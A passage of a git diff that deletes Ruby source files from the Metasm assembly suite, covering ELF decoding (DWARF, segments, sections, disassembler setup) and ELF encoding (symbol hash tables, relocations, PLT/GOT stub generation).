'REF4', 'BLOCK4'; elf.decode_word(info) - when 'DATA8', 'REF8', 'BLOCK8'; elf.decode_word(info) | (elf.decode_word(info) << 32) - when 'SDATA', 'UDATA', 'REF_UDATA', 'BLOCK'; elf.decode_leb(info) - when 'STRING'; elf.decode_strz(info) - when 'STRP'; str.ptr = elf.decode_word(info) ; elf.decode_strz(str) - end - case a.form - when /^REF/ - when /^BLOCK/; a.data = info.read(a.data) - end - @attributes << a - } - end - end - end - - # decode an ULEB128 (dwarf2): read bytes while high bit is set, littleendian - def decode_leb(ed = @encoded) - v = s = 0 - loop { - b = ed.read(1).unpack('C').first.to_i - v |= (b & 0x7f) << s - s += 7 - break v if (b&0x80) == 0 - } - end - - # decodes the debugging information if available - # only a subset of DWARF2/3 is handled right now - # most info taken from http://ratonland.org/?entry=39 & libdwarf/dwarf.h - def decode_debug - return if not @sections - - # assert presence of DWARF sections - info = @sections.find { |sec| sec.name == '.debug_info' } - abbrev = @sections.find { |sec| sec.name == '.debug_abbrev' } - str = @sections.find { |sec| sec.name == '.debug_str' } - return if not info or not abbrev - - # section -> content - info = @encoded[info.offset, info.size] - abbrev = @encoded[abbrev.offset, abbrev.size] - str = @encoded[str.offset, str.size] if str - - @debug = [] - - while info.ptr < info.length - @debug << DwarfDebug.decode(self, info, abbrev, str) - end - end - - # decodes the ELF dynamic tags, interpret them, and decodes symbols and relocs - def decode_segments_dynamic(decode_relocs=true) - return if not dynamic = @segments.find { |s| s.type == 'DYNAMIC' } - @encoded.ptr = add_label('dynamic_tags', dynamic.vaddr) - decode_tags - decode_segments_tags_interpret - decode_segments_symbols - return if not decode_relocs - decode_segments_relocs - decode_segments_relocs_interpret - end - - # decodes the dynamic segment, fills segments.encoded - def decode_segments - decode_segments_dynamic - decode_sections_symbols - #decode_debug # too many info, decode on demand - @segments.each { |s| - case s.type - when 'LOAD', 'INTERP' - sz = s.filesz - pagepad = (-(s.offset + sz)) % 4096 - s.encoded = @encoded[s.offset, sz] || EncodedData.new - if s.type == 'LOAD' and sz > 0 and not s.flags.include?('W') - # align loaded data to the next page boundary for readonly mmap - # but discard the labels/relocs etc - s.encoded << @encoded[s.offset+sz, pagepad].data rescue nil - s.encoded.virtsize = sz+pagepad - end - s.encoded.virtsize = s.memsz if s.memsz > s.encoded.virtsize - end - } - end - - # decodes sections, interprets symbols/relocs, fills sections.encoded - def decode_sections - @symbols.clear # the NULL symbol is explicit in the symbol table - decode_sections_symbols - decode_sections_relocs - @sections.each { |s| - case s.type - when 'PROGBITS', 'NOBITS' - when 'TODO' # TODO - end - } - @sections.find_all { |s| s.type == 'PROGBITS' or s.type == 'NOBITS' }.each { |s| - if s.flags.include? 'ALLOC' - if s.type == 'NOBITS' - s.encoded = EncodedData.new '', :virtsize => s.size - else - s.encoded = @encoded[s.offset, s.size] || EncodedData.new - s.encoded.virtsize = s.size - end - end - } - end - - def decode_exports - decode_segments_dynamic(false) - end - - # decodes the elf header, and depending on the elf type, decode segments or sections - def decode - decode_header - case @header.type - when 'DYN', 'EXEC'; decode_segments - when 'REL'; decode_sections - when 'CORE' - end - end - - def each_section - @segments.each { |s| yield s.encoded, s.vaddr if s.type == 'LOAD' } - return if @header.type != 'REL' - @sections.each { |s| - next if not s.encoded - if not l = s.encoded.inv_export[0] or l != s.name.tr('^a-zA-Z0-9_', '_') - l = new_label(s.name) - s.encoded.add_export l, 0 - end - yield s.encoded, l - } - end - - # returns a metasm CPU object corresponding to +header.machine+ - def cpu_from_headers - case @header.machine - when 'X86_64'; X86_64.new - when '386'; Ia32.new - when 'MIPS'; (@header.flags.include?('32BITMODE') ? MIPS64 : MIPS).new @endianness - when 'PPC'; PPC.new - when 'ARM'; ARM.new - when 'SH'; Sh4.new - when 'ARC_COMPACT'; ARC.new - when 'MSP430'; MSP430.new - else raise "unsupported cpu #{@header.machine}" - end - end - - # returns an array including the ELF entrypoint (if not null) and the FUNC symbols addresses - # TODO include init/init_array - def get_default_entrypoints - ep = [] - ep << @header.entry if @header.entry != 0 - @symbols.each { |s| - ep << s.value if s.shndx != 'UNDEF' and s.type == 'FUNC' - } if @symbols - ep - end - - def dump_section_header(addr, edata) - if s = @segments.find { |s_| s_.vaddr == addr } - "\n// ELF segment at #{Expression[addr]}, flags = #{s.flags.sort.join(', ')}" - else super(addr, edata) - end - end - - # returns a disassembler with a special decodedfunction for dlsym, __libc_start_main, and a default function (i386 only) - def init_disassembler - d = super() - d.backtrace_maxblocks_data = 4 - if d.get_section_at(0) - # fixes call [constructor] => 0 - d.decoded[0] = true - d.function[0] = @cpu.disassembler_default_func - end - case @cpu.shortname - when 'ia32', 'x64' - old_cp = d.c_parser - d.c_parser = nil - d.parse_c <<EOC -void *dlsym(int, char *); // has special callback -// gcc's entrypoint, need pointers to reach main exe code (last callback) -void __libc_start_main(void(*)(), int, int, void(*)(), void(*)()) __attribute__((noreturn)); -// standard noreturn, optimized by gcc -void __attribute__((noreturn)) exit(int); -void _exit __attribute__((noreturn))(int); -void abort(void) __attribute__((noreturn)); -void __stack_chk_fail __attribute__((noreturn))(void); -EOC - d.function[Expression['dlsym']] = dls = @cpu.decode_c_function_prototype(d.c_parser, 'dlsym') - d.function[Expression['__libc_start_main']] = @cpu.decode_c_function_prototype(d.c_parser, '__libc_start_main') - d.function[Expression['exit']] = @cpu.decode_c_function_prototype(d.c_parser, 'exit') - d.function[Expression['_exit']] = @cpu.decode_c_function_prototype(d.c_parser, '_exit') - d.function[Expression['abort']] = @cpu.decode_c_function_prototype(d.c_parser, 'abort') - d.function[Expression['__stack_chk_fail']] = @cpu.decode_c_function_prototype(d.c_parser, '__stack_chk_fail') - d.c_parser = old_cp - dls.btbind_callback = lambda { |dasm, bind, funcaddr, calladdr, expr, origin, maxdepth| - sz = @cpu.size/8 - raise 'dlsym call error' if not dasm.decoded[calladdr] - if @cpu.shortname == 'x64' - arg2 = :rsi - else - arg2 = Indirection.new(Expression[:esp, :+, 2*sz], sz, calladdr) - end - fnaddr = dasm.backtrace(arg2, calladdr, :include_start => true, :maxdepth => maxdepth) - if fnaddr.kind_of? ::Array and fnaddr.length == 1 and s = dasm.get_section_at(fnaddr.first) and fn = s[0].read(64) and i = fn.index(?\0) and i > sz # try to avoid ordinals - bind = bind.merge @cpu.register_symbols[0] => Expression[fn[0, i]] - end - bind - } - df = d.function[:default] = @cpu.disassembler_default_func - df.backtrace_binding[@cpu.register_symbols[4]] = Expression[@cpu.register_symbols[4], :+, @cpu.size/8] - df.btbind_callback = nil - when 'mips' - (d.address_binding[@header.entry] ||= {})[:$t9] ||= Expression[@header.entry] - @symbols.each { |s| - next if s.shndx == 'UNDEF' or s.type != 'FUNC' - (d.address_binding[s.value] ||= {})[:$t9] ||= Expression[s.value] - } - d.function[:default] = @cpu.disassembler_default_func - when 'sh4' - noret = DecodedFunction.new - noret.noreturn = true - %w[__stack_chk_fail abort exit].each { |fn| - d.function[Expression[fn]] = noret - } - d.function[:default] = @cpu.disassembler_default_func - end - d - end - - # returns an array of [name, addr, length, info] - def section_info - if @sections - @sections[1..-1].map { |s| - [s.name, s.addr, s.size, s.flags.join(',')] - } - else - @segments.map { |s| - [nil, s.vaddr, s.memsz, s.flags.join(',')] - } - end - end - - def module_name - @tag and @tag['SONAME'] - end - - def module_address - @segments.map { |s_| s_.vaddr if s_.type == 'LOAD' }.compact.min || 0 - end - - def module_size - return 0 if not s = @segments.to_a.reverse.map { |s_| s_.vaddr + s_.memsz if s_.type == 'LOAD' }.compact.max - s - module_address - end - - def module_symbols - syms = [] - m_addr = module_address - syms << ['entrypoint', @header.entry-m_addr] if @header.entry != 0 or @header.type == 'EXEC' - @symbols.each { |s| - next if not s.name or s.shndx == 'UNDEF' - pfx = %w[LOCAL WEAK].include?(s.bind) ? s.bind.downcase + '_' : '' - syms << [pfx+s.name, s.value-m_addr, s.size] - } - syms - end -end - -class LoadedELF - # decodes the dynamic segment, fills segments.encoded - def decode_segments - if @load_address == 0 and @segments.find { |s| s.type == 'LOAD' and s.vaddr > @encoded.length } - @load_address = @segments.find_all { |s| s.type == 'LOAD' }.map { |s| s.vaddr }.min - end - decode_segments_dynamic - @segments.each { |s| - if s.type == 'LOAD' - s.encoded = @encoded[addr_to_off(s.vaddr), s.memsz] - end - } - end - - # do not try to decode the section header by default - def decode_header(off = 0) - @encoded.ptr = off - @header.decode self - decode_program_header(@header.phoff+off) - end -end -end diff --git a/lib/metasm/metasm/exe_format/elf_encode.rb b/lib/metasm/metasm/exe_format/elf_encode.rb deleted file mode 100644 index ae847983df..0000000000 --- a/lib/metasm/metasm/exe_format/elf_encode.rb +++ /dev/null @@ -1,1466 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/encode' -require 'metasm/exe_format/elf' unless defined? Metasm::ELF - -module Metasm -class ELF - class Header - def set_default_values elf - @magic ||= "\x7fELF" - @e_class ||= elf.bitsize.to_s - @data ||= (elf.endianness == :big ? 'MSB' : 'LSB') - @version ||= 'CURRENT' - @i_version ||= @version - @entry ||= 0 - @phoff ||= elf.segments.empty? ? 0 : elf.new_label('phdr') - @shoff ||= elf.sections.length <= 1 ? 0 : elf.new_label('shdr') - @flags ||= [] - @ehsize ||= Header.sizeof(elf) - @phentsize ||= Segment.sizeof(elf) - @phnum ||= elf.segments.length - @shentsize ||= Section.sizeof(elf) - @shnum ||= elf.sections.length - - super(elf) - end - end - - class Section - def set_default_values elf - make_name_p elf if name and @name != '' - @flags ||= [] - @addr ||= (encoded and @flags.include?('ALLOC')) ? elf.label_at(@encoded, 0) : 0 - @offset ||= encoded ? elf.new_label('section_offset') : 0 - @size ||= encoded ? @encoded.length : 0 - @addralign ||= entsize || 0 - @entsize ||= @addralign - @link = elf.sections.index(@link) if link.kind_of? Section - @info = elf.sections.index(@info) if info.kind_of? Section - super(elf) - end - - # defines the @name_p field from @name and elf.section[elf.header.shstrndx] - # creates .shstrtab if needed - def make_name_p elf - return 0 if not name or @name == '' or elf.header.shnum == 0 - if elf.header.shstrndx.to_i == 0 or not elf.sections[elf.header.shstrndx] - sn = Section.new - sn.name = '.shstrtab' - sn.type = 'STRTAB' - sn.flags = [] - sn.addralign = 1 - sn.encoded = EncodedData.new << 0 - elf.header.shstrndx = elf.sections.length - elf.sections << sn - end - sne = elf.sections[elf.header.shstrndx].encoded - return if name_p and sne.data[@name_p, @name.length+1] == @name+0.chr - return if @name_p = sne.data.index(@name+0.chr) - @name_p = sne.virtsize - sne << @name << 0 - end - end - - class Segment - def set_default_values elf - if encoded - @offset ||= elf.new_label('segment_offset') - @vaddr ||= elf.label_at(@encoded, 0) - @filesz ||= @encoded.rawsize - @memsz ||= @encoded.virtsize - end - @paddr ||= @vaddr if vaddr - - super(elf) - end - end - - class Symbol - def set_default_values(elf, strtab) - make_name_p elf, strtab if strtab and name and @name != '' - super(elf) - end - - # sets the value of @name_p, appends @name to strtab if needed - def make_name_p(elf, strtab) - s = strtab.kind_of?(EncodedData) ? strtab.data : strtab - return if name_p and s[@name_p, @name.length+1] == @name+0.chr - return if @name_p = s.index(@name+0.chr) - @name_p = strtab.length - strtab << @name << 0 - end - end - - - def encode_byte(w) Expression[w].encode(:u8, @endianness, (caller if $DEBUG)) end - def encode_half(w) Expression[w].encode(:u16, @endianness, (caller if $DEBUG)) end - def encode_word(w) Expression[w].encode(:u32, @endianness, (caller if $DEBUG)) end - def encode_sword(w) Expression[w].encode(:i32, @endianness, (caller if $DEBUG)) end - def encode_xword(w) Expression[w].encode((@bitsize == 32 ? :u32 : :u64), @endianness, (caller if $DEBUG)) end - def encode_sxword(w) Expression[w].encode((@bitsize == 32 ? :i32 : :i64), @endianness, (caller if $DEBUG)) end - alias encode_addr encode_xword - alias encode_off encode_xword - - # checks a section's data has not grown beyond s.size, if so undefs addr/offset - def encode_check_section_size(s) - if s.size and s.encoded.virtsize < s.size - puts "W: Elf: preexisting section #{s} has grown, relocating" if $VERBOSE - s.addr = s.offset = nil - s.size = s.encoded.virtsize - end - end - - # reorders self.symbols according to their gnu_hash - def encode_reorder_symbols - gnu_hash_bucket_length = 42 # TODO - @symbols[1..-1] = @symbols[1..-1].sort_by { |s| - if s.bind != 'GLOBAL' - -2 - elsif s.shndx == 'UNDEF' or not s.name - -1 - else - ELF.gnu_hash_symbol_name(s.name) % gnu_hash_bucket_length - end - } - end - - # sorted insert of a new section to self.sections according to its permission (for segment merging) - def encode_add_section s - # order: r rx rw noalloc - rank = lambda { |sec| - f = sec.flags - sec.type == 'NULL' ? -2 : sec.addr ? -1 : - f.include?('ALLOC') ? !f.include?('WRITE') ? !f.include?('EXECINSTR') ? 0 : 1 : 2 : 3 - } - srank = rank[s] - nexts = @sections.find { |sec| rank[sec] > srank } # find section with rank superior - nexts = nexts ? @sections.index(nexts) : -1 # if none, last - if @header.shstrndx.to_i != 0 and nexts != -1 and @header.shstrndx >= nexts - @header.shstrndx += 1 - end - @sections.insert(nexts, s) # insert section - end - - # encodes the GNU_HASH table - # TODO - def encode_gnu_hash - return if true - - sortedsyms = @symbols.find_all { |s| s.bind == 'GLOBAL' and s.shndx != 'UNDEF' and s.name } - bucket = Array.new(42) - - if not gnu_hash = @sections.find { |s| s.type == 'GNU_HASH' } - gnu_hash = Section.new - gnu_hash.name = '.gnu.hash' - gnu_hash.type = 'GNU_HASH' - gnu_hash.flags = ['ALLOC'] - gnu_hash.entsize = gnu_hash.addralign = 4 - encode_add_section gnu_hash - end - gnu_hash.encoded = EncodedData.new - - # "bloomfilter[N] has bit B cleared if there is no M (M > symndx) which satisfies (C = @header.class) - # ((gnu_hash(sym[M].name) / C) % maskwords) == N && - # ((gnu_hash(sym[M].name) % C) == B || - # ((gnu_hash(sym[M].name) >> shift2) % C) == B" - # bloomfilter may be [~0] - bloomfilter = [] - - # bucket[N] contains the lowest M for which - # gnu_hash(sym[M]) % nbuckets == N - # or 0 if none - bucket = [] - - gnu_hash.encoded << - encode_word(bucket.length) << - encode_word(@symbols.length - sortedsyms.length) << - encode_word(bloomfilter.length) << - encode_word(shift2) - bloomfilter.each { |bf| gnu_hash.encoded << encode_xword(bf) } - bucket.each { |bk| gnu_hash.encoded << encode_word(bk) } - sortedsyms.each { |s| - # (gnu_hash(sym[N].name) & ~1) | (N == dynsymcount-1 || (gnu_hash(sym[N].name) % nbucket) != (gnu_hash(sym[N+1].name) % nbucket)) - # that's the hash, with its lower bit replaced by the bool [1 if i am the last sym having my hash as hash] - val = 28 - gnu_hash.encoded << encode_word(val) - } - - @tag['GNU_HASH'] = label_at(gnu_hash.encoded, 0) - - encode_check_section_size gnu_hash - - gnu_hash - end - - # encodes the symbol dynamic hash table in the .hash section, updates the HASH tag - def encode_hash - return if @symbols.length <= 1 - - if not hash = @sections.find { |s| s.type == 'HASH' } - hash = Section.new - hash.name = '.hash' - hash.type = 'HASH' - hash.flags = ['ALLOC'] - hash.entsize = hash.addralign = 4 - encode_add_section hash - end - hash.encoded = EncodedData.new - - # to find a symbol from its name : - # 1: idx = hash(name) - # 2: idx = bucket[idx % bucket.size] - # 3: if idx == 0: return notfound - # 4: if dynsym[idx].name == name: return found - # 5: idx = chain[idx] ; goto 3 - bucket = Array.new(@symbols.length/4+1, 0) - chain = Array.new(@symbols.length, 0) - @symbols.each_with_index { |s, i| - next if s.bind == 'LOCAL' or not s.name or s.shndx == 'UNDEF' - hash_mod = ELF.hash_symbol_name(s.name) % bucket.length - chain[i] = bucket[hash_mod] - bucket[hash_mod] = i - } - - hash.encoded << encode_word(bucket.length) << encode_word(chain.length) - - bucket.each { |b| hash.encoded << encode_word(b) } - chain.each { |c| hash.encoded << encode_word(c) } - - @tag['HASH'] = label_at(hash.encoded, 0) - - encode_check_section_size hash - - hash - end - - # encodes the symbol table - # should have a stable self.sections array (only append allowed after this step) - def encode_segments_symbols(strtab) - return if @symbols.length <= 1 - - if not dynsym = @sections.find { |s| s.type == 'DYNSYM' } - dynsym = Section.new - dynsym.name = '.dynsym' - dynsym.type = 'DYNSYM' - dynsym.entsize = Symbol.sizeof(self) - dynsym.addralign = 4 - dynsym.flags = ['ALLOC'] - dynsym.info = @symbols[1..-1].find_all { |s| s.bind == 'LOCAL' }.length + 1 - dynsym.link = strtab - encode_add_section dynsym - end - dynsym.encoded = EncodedData.new - @symbols.each { |s| dynsym.encoded << s.encode(self, strtab.encoded) } # needs all section indexes, as will be in the final section header - - @tag['SYMTAB'] = label_at(dynsym.encoded, 0) - @tag['SYMENT'] = Symbol.sizeof(self) - - encode_check_section_size dynsym - - dynsym - end - - # encodes the relocation tables - # needs a complete self.symbols array - def encode_segments_relocs - return if not @relocations or @relocations.empty? - - arch_preencode_reloc_func = "arch_#{@header.machine.downcase}_preencode_reloc" - send arch_preencode_reloc_func if respond_to? arch_preencode_reloc_func - - list = @relocations.find_all { |r| r.type == 'JMP_SLOT' } - if not list.empty? or @relocations.empty? - if list.find { |r| r.addend } - stype = 'RELA' - sname = '.rela.plt' - else - stype = 'REL' - sname = '.rel.plt' - end - - if not relplt = @sections.find { |s| s.type == stype and s.name == sname } - relplt = Section.new - relplt.name = sname - relplt.flags = ['ALLOC'] - encode_add_section relplt - end - relplt.encoded = EncodedData.new('', :export => {'_REL_PLT' => 0}) - list.each { |r| relplt.encoded << r.encode(self) } - @tag['JMPREL'] = label_at(relplt.encoded, 0) - @tag['PLTRELSZ'] = relplt.encoded.virtsize - @tag['PLTREL'] = relplt.type = stype - @tag[stype + 'ENT'] = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.sizeof(self) : RelocationAddend.sizeof(self)) - encode_check_section_size relplt - end - - list = @relocations.find_all { |r| r.type != 'JMP_SLOT' and not r.addend } - if not list.empty? - if not @tag['TEXTREL'] and @sections.find { |s_| - s_.encoded and e = s_.encoded.inv_export[0] and not s_.flags.include? 'WRITE' and - list.find { |r| Expression[r.offset, :-, e].reduce.kind_of? ::Integer } - # TODO need to check with r.offset.bind(elf_binding) - } - @tag['TEXTREL'] = 0 - end - if not rel = @sections.find { |s_| s_.type == 'REL' and s_.name == '.rel.dyn' } - rel = Section.new - rel.name = '.rel.dyn' - rel.type = 'REL' - rel.flags = ['ALLOC'] - rel.entsize = rel.addralign = Relocation.sizeof(self) - encode_add_section rel - end - rel.encoded = EncodedData.new - list.each { |r| rel.encoded << r.encode(self) } - @tag['REL'] = label_at(rel.encoded, 0) - @tag['RELENT'] = Relocation.sizeof(self) - @tag['RELSZ'] = rel.encoded.virtsize - encode_check_section_size rel - end - - list = @relocations.find_all { |r| r.type != 'JMP_SLOT' and r.addend } - if not list.empty? - if not rela = @sections.find { |s_| s_.type == 'RELA' and s_.name == '.rela.dyn' } - rela = Section.new - rela.name = '.rela.dyn' - rela.type = 'RELA' - rela.flags = ['ALLOC'] - rela.entsize = rela.addralign = RelocationAddend.sizeof(self) - encode_add_section rela - end - rela.encoded = EncodedData.new - list.each { |r| rela.encoded << r.encode(self) } - @tag['RELA'] = label_at(rela.encoded, 0) - @tag['RELAENT'] = RelocationAddend.sizeof(self) - @tag['RELASZ'] = rela.encoded.virtsize - encode_check_section_size rela - end - end - - # creates the .plt/.got from the @relocations - def arch_386_preencode_reloc - return if @relocations.empty? - - # if .got.plt does not exist, the dynamic loader segfaults - if not gotplt = @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got.plt' } - gotplt = Section.new - gotplt.name = '.got.plt' - gotplt.type = 'PROGBITS' - gotplt.flags = %w[ALLOC WRITE] - gotplt.addralign = @bitsize/8 - # _DYNAMIC is not base-relocated at runtime - encode_add_section gotplt - end - gotplt.encoded ||= (EncodedData.new('', :export => {'_PLT_GOT' => 0}) << encode_xword('_DYNAMIC') << encode_xword(0) << encode_xword(0)) - @tag['PLTGOT'] = label_at(gotplt.encoded, 0) - plt = nil - - shellcode = lambda { |c| Shellcode.new(@cpu).share_namespace(self).assemble(c).encoded } - - @relocations.dup.each { |r| - case r.type - when 'PC32' - next if not r.symbol - - if r.symbol.type != 'FUNC' - # external data xref: generate a GOT entry - # XXX reuse .got.plt ? - if not got ||= @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got' } - got = Section.new - got.name = '.got' - got.type = 'PROGBITS' - got.flags = %w[ALLOC WRITE] - got.addralign = @bitsize/8 - got.encoded = EncodedData.new - encode_add_section got - end - - prevoffset = r.offset - gotlabel = r.symbol.name + '_got_entry' - if not got.encoded.export[gotlabel] - # create the got thunk - got.encoded.add_export(gotlabel, got.encoded.length) - got.encoded << encode_xword(0) - - # transform the reloc PC32 => GLOB_DAT - r.type = 'GLOB_DAT' - r.offset = Expression[gotlabel] - r.addend = 0 if @bitsize == 64 - else - @relocations.delete r - end - - # prevoffset is label_section_start + int_section_offset - target_s = @sections.find { |s| s.encoded and s.encoded.export[prevoffset.lexpr] == 0 } - rel = target_s.encoded.reloc[prevoffset.rexpr] - # [foo] => [foo - reloc_addr + gotlabel] - - rel.target = Expression[[rel.target, :-, prevoffset], :+, gotlabel] - next - end - - # convert to .plt entry - # - # [.plt header] - # plt_start: # caller set ebx = gotplt if generate_PIC - # push [gotplt+4] - # jmp [gotplt+8] - # - # [.plt thunk] - # some_func_thunk: - # jmp [gotplt+func_got_offset] - # some_func_got_default: - # push some_func_jmpslot_offset_in_.rel.plt - # jmp plt_start - # - # [.got.plt header] - # dd _DYNAMIC - # dd 0 # rewritten to GOTPLT? by ld-linux - # dd 0 # rewritten to dlresolve_inplace by ld-linux - # - # [.got.plt + func_got_offset] - # dd some_func_got_default # lazily rewritten to the real addr of some_func by jmp dlresolve_inplace - # # base_relocated ? - - # in the PIC case, _dlresolve imposes us to use the ebx register (which may not be saved by the calling function..) - # also geteip trashes eax, which may interfere with regparm(3) - base = @cpu.generate_PIC ? @bitsize == 32 ? 'ebx' : 'rip-$_+_PLT_GOT' : '_PLT_GOT' - if not plt ||= @sections.find { |s| s.type == 'PROGBITS' and s.name == '.plt' } - plt = Section.new - plt.name = '.plt' - plt.type = 'PROGBITS' - plt.flags = %w[ALLOC EXECINSTR] - plt.addralign = @bitsize/8 - plt.encoded = EncodedData.new - sz = @bitsize/8 - ptqual = @bitsize == 32 ? 'dword' : 'qword' - plt.encoded << shellcode["metasm_plt_start:\npush #{ptqual} ptr [#{base}+#{sz}]\njmp #{ptqual} ptr [#{base}+#{2*sz}]"] - if @cpu.generate_PIC and @bitsize == 32 and not @sections.find { |s| s.encoded and s.encoded.export['metasm_intern_geteip'] } - plt.encoded << shellcode["metasm_intern_geteip:\ncall 42f\n42: pop eax\nsub eax, 42b-metasm_intern_geteip\nret"] - end - encode_add_section plt - end - - prevoffset = r.offset - pltlabel = r.symbol.name + '_plt_thunk' - if not plt.encoded.export[pltlabel] - # create the plt thunk - plt.encoded.add_export pltlabel, plt.encoded.length - if @cpu.generate_PIC and @bitsize == 32 - plt.encoded << shellcode["call metasm_intern_geteip\nlea #{base}, [eax+_PLT_GOT-metasm_intern_geteip]"] - end - plt.encoded << shellcode["jmp [#{base} + #{gotplt.encoded.length}]"] - plt.encoded.add_export r.symbol.name+'_plt_default', plt.encoded.length - reloffset = @relocations.find_all { |rr| rr.type == 'JMP_SLOT' }.length - reloffset *= Relocation.sizeof(self) if @bitsize == 32 - plt.encoded << shellcode["push #{reloffset}\njmp metasm_plt_start"] - - # transform the reloc PC32 => JMP_SLOT - r.type = 'JMP_SLOT' - r.offset = Expression['_PLT_GOT', :+, gotplt.encoded.length] - r.addend = 0 if @bitsize == 64 - - gotplt.encoded << encode_xword(r.symbol.name + '_plt_default') - else - @relocations.delete r - end - - # mutate the original relocation - # XXX relies on the exact form of r.target from arch_create_reloc - target_s = @sections.find { |s| s.encoded and s.encoded.export[prevoffset.lexpr] == 0 } - rel = target_s.encoded.reloc[prevoffset.rexpr] - rel.target = Expression[[[rel.target, :-, prevoffset.rexpr], :-, label_at(target_s.encoded, 0)], :+, pltlabel] - - # when 'GOTOFF', 'GOTPC' - end - } - encode_check_section_size gotplt - encode_check_section_size plt if plt - #encode_check_section_size got if got - end - alias arch_x86_64_preencode_reloc arch_386_preencode_reloc - - # encodes the .dynamic section, creates .hash/.gnu.hash/.rel/.rela/.dynsym/.strtab/.init,*_array as needed - def encode_segments_dynamic - if not strtab = @sections.find { |s| s.type == 'STRTAB' and s.flags.include? 'ALLOC' } - strtab = Section.new - strtab.name = '.dynstr' - strtab.addralign = 1 - strtab.type = 'STRTAB' - strtab.flags = ['ALLOC'] - encode_add_section strtab - end - strtab.encoded = EncodedData.new << 0 - @tag['STRTAB'] = label_at(strtab.encoded, 0) - - if not dynamic = @sections.find { |s| s.type == 'DYNAMIC' } - dynamic = Section.new - dynamic.name = '.dynamic' - dynamic.type = 'DYNAMIC' - dynamic.flags = %w[WRITE ALLOC] # XXX why write ? - dynamic.addralign = dynamic.entsize = @bitsize / 8 * 2 - dynamic.link = strtab - encode_add_section dynamic - end - dynamic.encoded = EncodedData.new('', :export => {'_DYNAMIC' => 0}) - - encode_tag = lambda { |k, v| - dynamic.encoded << - encode_sxword(int_from_hash(k, DYNAMIC_TAG)) << - encode_xword(v) - } - - # find or create string in strtab - add_str = lambda { |n| - if n and n != '' and not ret = strtab.encoded.data.index(n + 0.chr) - ret = strtab.encoded.virtsize - strtab.encoded << n << 0 - end - ret || 0 - } - @tag.keys.each { |k| - case k - when 'NEEDED'; @tag[k].each { |n| encode_tag[k, add_str[n]] } - when 'SONAME', 'RPATH', 'RUNPATH'; encode_tag[k, add_str[@tag[k]]] - when 'INIT_ARRAY', 'FINI_ARRAY', 'PREINIT_ARRAY' # build section containing the array - if not ar = @sections.find { |s| s.name == '.' + k.downcase } - ar = Section.new - ar.name = '.' + k.downcase - ar.type = k - ar.addralign = ar.entsize = @bitsize/8 - ar.flags = %w[WRITE ALLOC] - ar.encoded = EncodedData.new - encode_add_section ar # insert before encoding syms/relocs (which need section indexes) - end - - # fill these later, but create the base relocs now - arch_create_reloc_func = "arch_#{@header.machine.downcase}_create_reloc" - next if not respond_to?(arch_create_reloc_func) - curaddr = label_at(@encoded, 0, 'elf_start') - fkbind = {} - @sections.each { |s| - next if not s.encoded - fkbind.update s.encoded.binding(Expression[curaddr, :+, 1]) - } - @relocations ||= [] - off = ar.encoded.length - @tag[k].each { |a| - rel = Metasm::Relocation.new(Expression[a], "u#@bitsize".to_sym, @endianness) - send(arch_create_reloc_func, ar, off, fkbind, rel) - off += @bitsize/8 - } - end - } - - encode_reorder_symbols - encode_gnu_hash - encode_hash - encode_segments_relocs - dynsym = encode_segments_symbols(strtab) - @sections.find_all { |s| %w[HASH GNU_HASH REL RELA].include? s.type }.each { |s| s.link = dynsym } - - encode_check_section_size strtab - - # rm unused tag (shrink .nointerp binaries by allowing to skip the section entirely) - @tag.delete('STRTAB') if strtab.encoded.length == 1 - - # XXX any order needed ? - @tag.keys.each { |k| - case k - when Integer # unknown tags = array of values - @tag[k].each { |n| encode_tag[k, n] } - when 'PLTREL'; encode_tag[k, int_from_hash(@tag[k], DYNAMIC_TAG)] - when 'FLAGS'; encode_tag[k, bits_from_hash(@tag[k], DYNAMIC_FLAGS)] - when 'FLAGS_1'; encode_tag[k, bits_from_hash(@tag[k], DYNAMIC_FLAGS_1)] - when 'FEATURES_1'; encode_tag[k, bits_from_hash(@tag[k], DYNAMIC_FEATURES_1)] - when 'NULL' # keep last - when 'STRTAB' - encode_tag[k, @tag[k]] - encode_tag['STRSZ', strtab.encoded.size] - when 'INIT_ARRAY', 'FINI_ARRAY', 'PREINIT_ARRAY' # build section containing the array - ar = @sections.find { |s| s.name == '.' + k.downcase } - @tag[k].each { |p| ar.encoded << encode_addr(p) } - encode_check_section_size ar - encode_tag[k, label_at(ar.encoded, 0)] - encode_tag[k + 'SZ', ar.encoded.virtsize] - when 'NEEDED', 'SONAME', 'RPATH', 'RUNPATH' # already handled - else - encode_tag[k, @tag[k]] - end - } - encode_tag['NULL', @tag['NULL'] || 0] unless @tag.empty? - - encode_check_section_size dynamic - end - - # creates the undef symbol list from the section.encoded.reloc and a list of known exported symbols (e.g. from libc) - # also populates @tag['NEEDED'] - def automagic_symbols - GNUExports rescue return # autorequire - autoexports = GNUExports::EXPORT.dup - @sections.each { |s| - next if not s.encoded - s.encoded.export.keys.each { |e| autoexports.delete e } - } - @sections.each { |s| - next if not s.encoded - s.encoded.reloc.each_value { |r| - et = r.target.externals - extern = et.find_all { |name| autoexports[name] } - next if extern.length != 1 - symname = extern.first - if not @symbols.find { |sym| sym.name == symname } - @tag['NEEDED'] ||= [] - @tag['NEEDED'] |= [autoexports[symname]] - sym = Symbol.new - sym.shndx = 'UNDEF' - sym.type = 'FUNC' - sym.name = symname - sym.bind = 'GLOBAL' - @symbols << sym - end - } - } - end - - # reads the existing segment/sections.encoded and populate @relocations from the encoded.reloc hash - def create_relocations - @relocations = [] - - arch_create_reloc_func = "arch_#{@header.machine.downcase}_create_reloc" - if not respond_to? arch_create_reloc_func - puts "Elf: create_reloc: unhandled architecture #{@header.machine}" if $VERBOSE - return - end - - # create a fake binding with all our own symbols - # not foolproof, should work in most cases - curaddr = label_at(@encoded, 0, 'elf_start') - binding = {'_DYNAMIC' => 0, '_GOT' => 0} # XXX - @sections.each { |s| - next if not s.encoded - binding.update s.encoded.binding(curaddr) - curaddr = Expression[curaddr, :+, s.encoded.virtsize] - } - - @sections.each { |s| - next if not s.encoded - s.encoded.reloc.each { |off, rel| - t = rel.target.bind(binding).reduce - next if not t.kind_of? Expression # XXX segment_encode only - send(arch_create_reloc_func, s, off, binding) - } - } - end - - # references to FUNC symbols are transformed to JMPSLOT relocations (aka call to .plt) - # TODO ET_REL support - def arch_386_create_reloc(section, off, binding, rel=nil) - 